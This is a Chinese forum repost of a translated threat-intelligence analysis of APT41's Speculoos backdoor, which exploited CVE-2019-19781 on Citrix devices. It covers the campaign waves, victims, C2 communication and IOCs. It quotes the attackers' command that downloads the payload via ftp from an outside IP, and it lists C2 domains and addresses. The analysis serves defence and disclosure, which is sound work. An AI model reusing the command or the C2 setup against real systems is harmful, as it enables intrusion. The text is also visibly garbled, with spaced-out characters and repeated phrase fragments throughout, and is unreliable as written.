搜索

[15378] 2020-05-16_APT41Speculoos后门分析

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2020-05-16_APT41Speculoos后门分析 A P T 4 1   S p e c u l o o s 后 门 分 析 K r i s t o n   F r e e B u f   2 0 2 0 - 0 5 - 1 6 2 0 2 0 年 年 3 月 月 2 5 日 ， 日 ， F i r e E y e 发 表 了 发 表 了 A P T 4 1 全 球 攻 击 活 动 报 告 。 此 攻 击 活 动 发 生 在 全 球 攻 击 活 动 报 告 。 此 攻 击 活 动 发 生 在 1 月 月 2 0 日 至 日 至 3 月 月 1 1 日 期 间 ， 主 要 对 日 期 间 ， 主 要 对 C i t r i x ， ， C i s c o 和 和 Z o h o 网 络 设 备 进 行 攻 击 。 研 究 人 员 根 据 网 络 设 备 进 行 攻 击 。 研 究 人 员 根 据 W i l d F i r e 和 和 A u t o F o c u s 数 据 获 得 了 针 对 数 据 获 得 了 针 对 C i t r i x 设 备 的 攻 设 备 的 攻 击 样 本 击 样 本 ‘ S p e c u l o o s ’ ， 还 确 定 了 北 美 ， 南 美 和 欧 洲 等 世 界 各 地 多 个 行 业 的 受 害 者 。 ， 还 确 定 了 北 美 ， 南 美 和 欧 洲 等 世 界 各 地 多 个 行 业 的 受 害 者 。 S p e c u l o o s 的 基 于 F r e e B S D 实 现 的 ， 共 识 别 出 五 个 样 本 ， 所 有 样 本 文 件 大 小 基 本 相 同 ， 样 本 集 之 间 存 在 微 小 差 异 。 S p e c u l o o s 利 用 C V E - 2 0 1 9 - 1 9 7 8 1 进 行 攻 击 传 播 ， C V E - 2 0 1 9 - 1 9 7 8 1 影 响 C i t r i x   A p p l i c a t i o n   D e l i v e r y   C o n t r o l l e r ， C i t r i x G a t e w a y 和 C i t r i x   S D - W A N   W A N O P 等 设 备 ， 允 许 攻 击 者 远 程 执 行 任 意 命 令 。 攻 击 细 节 攻 击 细 节 攻 击 者 利 用 C V E - 2 0 1 9 - 1 9 7 8 1 远 程 执 行 命 令 ： ’ / u s r / b i n / f t p   - o   / t m p / b s d   f t p : / / t e s t ： [ r e d a c t e d ] @   6 6 . 4 2 . 9 8 [ . ] 2 2 0 / ‘ 。 第 一 波 攻 击 始 于 2 0 2 0 年 1 月 3 1 日 晚 上 ， 使 用 的 文 件 名 为 b s d ， 影 响 了 美 国 的 多 个 高 等 教 育 机 构 ， 美 国 医 疗 机 构 和 爱 尔 兰 咨 询 公 司 。 第 二 波 攻 击 始 于 2 0 2 0 年 2 月 2 4 日 ， 使 用 文 件 名 为 u n ， 影 响 了 哥 伦 比 亚 高 等 教 育 机 构 ， 奥 地 利 制 造 组 织 ， 美 国 高 等 教 育 机 构 以 及 美 国 的 州 政 府 。 基 于 B S D 系 统 的 恶 意 软 件 相 对 少 见 ， 此 工 具 和 特 定 C i t r i x 网 络 设 备 有 关 ， 因 此 S p e c u l o o s 很 可 能 是 A P T 4 1 组 织 专 为 此 攻 击 活 动 研 发 的 。 二 进 制 分 析 二 进 制 分 析 S p e c u l o o s 后 门 是 使 用 G C C   4 . 2 . 1 编 译 的 E L F 可 执 行 文 件 ， 可 在 F r e e B S D 系 统 上 运 行 。 该 负 载 无 法 保 持 持 对 目 标 持 久 控 制 ， 因 此 攻 击 者 会 使 用 额 外 的 组 件 或 其 他 攻 击 手 段 维 持 控 制 。 后 门 执 行 后 将 进 入 循 环 ， 该 循 环 调 用 函 数 通 过 4 4 3 端 口 与 C 2 域 进 行 通 信 ： a l i b a b a . z z u x [ . ] c o m   ( 1 1 9 . 2 8 . 1 3 9 [ . ] 1 2 0 )
如 果 无 法 通 信 ， S p e c u l o o s 会 尝 试 通 过 4 4 3 端 口 与 1 1 9 . 2 8 . 1 3 9 [ . ] 2 0 上 的 备 份 C 2 通 信 。 如 果 连 接 到 任 一 C 2 服 务 器 ， 它 将 与 服 务 器 进 行 T L S 握 手 。 图 1 显 示 了 发 送 到 C 2 服 务 器 的 数 据 包 。 它 请 求 l o g i n . l i v e   [ . ] c o m 作 为 S e r v e r   N a m e   I n d i c a t i o n （ S N I ） 。 成 功 连 接 到 C 2 并 完 成 T L S 握 手 后 ， S p e c u l o o s 将 对 目 标 系 统 进 行 指 纹 识 别 ， 并 将 数 据 发 送 回 C 2 服 务 器 。 其 结 构 如 下 表 1 所 示 。
数 据 通 过 T L S 通 道 发 送 ， 并 且 S p e c u l o o s 会 等 待 服 务 器 的 两 字 节 响 应 。 收 到 响 应 后 ， 它 将 向 C 2 发 送 一 个 字 节 （ 0 x a ） ， 并 进 入 循 环 等 待 命 令 。 表 2 为 攻 击 者 可 执 行 命 令 ，   可 让 攻 击 者 完 全 控 制 受 害 者 系 统 。 研 究 中 分 析 的 两 个 S p e c u l o o s 样 本 在 功 能 上 相 同 ， 两 者 之 间 只 有 八 个 字 节 不 同 ， 在 收 集 系 统 信 息 时 ‘ h o s t n a m e ‘ 和 ‘ u n a m e   - s ’ 命 令 不 同 导 致 。 u n a m e   - s 返 回 内 核 信 息 ， h o s t n a m e 返 回 主 机 系 统 名 称 。 下 图 显 示 了 两 个 S p e c u l o o s 样 本 之 间 的 二 进 制 比 较 。
影 响 评 估 影 响 评 估 互 联 网 可 访 问 设 备 允 许 未 经 授 权 的 用 户 远 程 执 行 代 会 带 来 很 大 的 安 全 问 题 ， C V E - 2 0 1 9 - 1 9 7 8 1 影 响 了 多 个 面 向 互 联 网 的 设 备 ， 攻 击 者 积 极 利 用 此 漏 洞 来 安 装 自 定 义 后 门 。 受 影 响 组 织 大 量 的 网 络 活 动 都 必 须 经 过 这 些 网 络 设 备 ， 攻 击 者 可 以 监 视 或 修 改 整 个 组 织 的 网 络 活 动 。 默 认 情 况 下 通 过 这 些 设 备 可 以 直 接 访 问 组 织 系 统 内 部 ， 攻 击 者 无 需 考 虑 内 部 网 络 横 向 移 动 的 问 题 。 攻 击 者 可 以 修 改 网 络 流 量 ， 注 入 恶 意 代 码 ， 执 行 中 间 人 攻 击 ， 或 将 用 户 重 定 向 到 虚 假 登 录 页 面 来 收 集 登 录 凭 证 。 I O C s S p e c u l o o s   S H A 2 5 6 9 9 c 5 d b e b 5 4 5 a f 3 e f 1 f 0 f 9 6 4 3 4 4 9 0 1 5 9 8 8 c 4 e 0 2 b f 8 a 7 1 6 4 b 5 d 6 c 8 6 f 6 7 e 6 d c 2 d 2 8 6 9 4 3 f b b 1 9 4 3 1 7 d 3 4 4 c a 9 9 1 1 b 7 a b b 1 1 b 6 8 4 d 3 d c a 4 c 2 9 a d c b c f f 3 9 2 9 1 8 2 2 9 0 2 1 6 7 4 9 3 5 7 4 e 9 b 1 c c 6 1 8 b 1 a 9 6 7 b a 9 d a b e c 4 7 4 b b 2 3 9 7 7 7 a 3 d 8 1 c 1 1 e 4 9 e 7 b b 9 c 7 1 c 0 c 4 e 8 5 2 9 7 0 9 7 f 6 d b e 8 a 5 2 9 7 4 a 4 3 0 1 6 4 2 5 d 4 a d a a 6 1 f 3 b d b 5 f c d d 1 8 6 b f d a 2 2 5 5 d 5 6 b 3 d c 2 a 8 8 c c 3 4 1 8 b 4 8 8 d 2 1 2 b 3 6 1 7 2 b 0 8 9 b 0 d 3 2 9 f a 6 e 4 a 0 9 4 5 8 3 b 7 5 7 f d d 3 c 5 3 9 8 e f e 1 N e t w o r k 1 1 9 . 2 8 . 1 3 9 [ . ] 2 0 a l i b a b a . z z u x [ . ] c o m 1 1 9 . 2 8 . 1 3 9 [ . ] 1 2 0 6 6 . 4 2 . 9 8 [ . ] 2 2 0 e x c h a n g e . l o n g m u s i c [ . ] c o m * 参 考 来 源 ： 参 考 来 源 ： u n i t 4 2 ， 由 ， 由 K r i s t o n 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理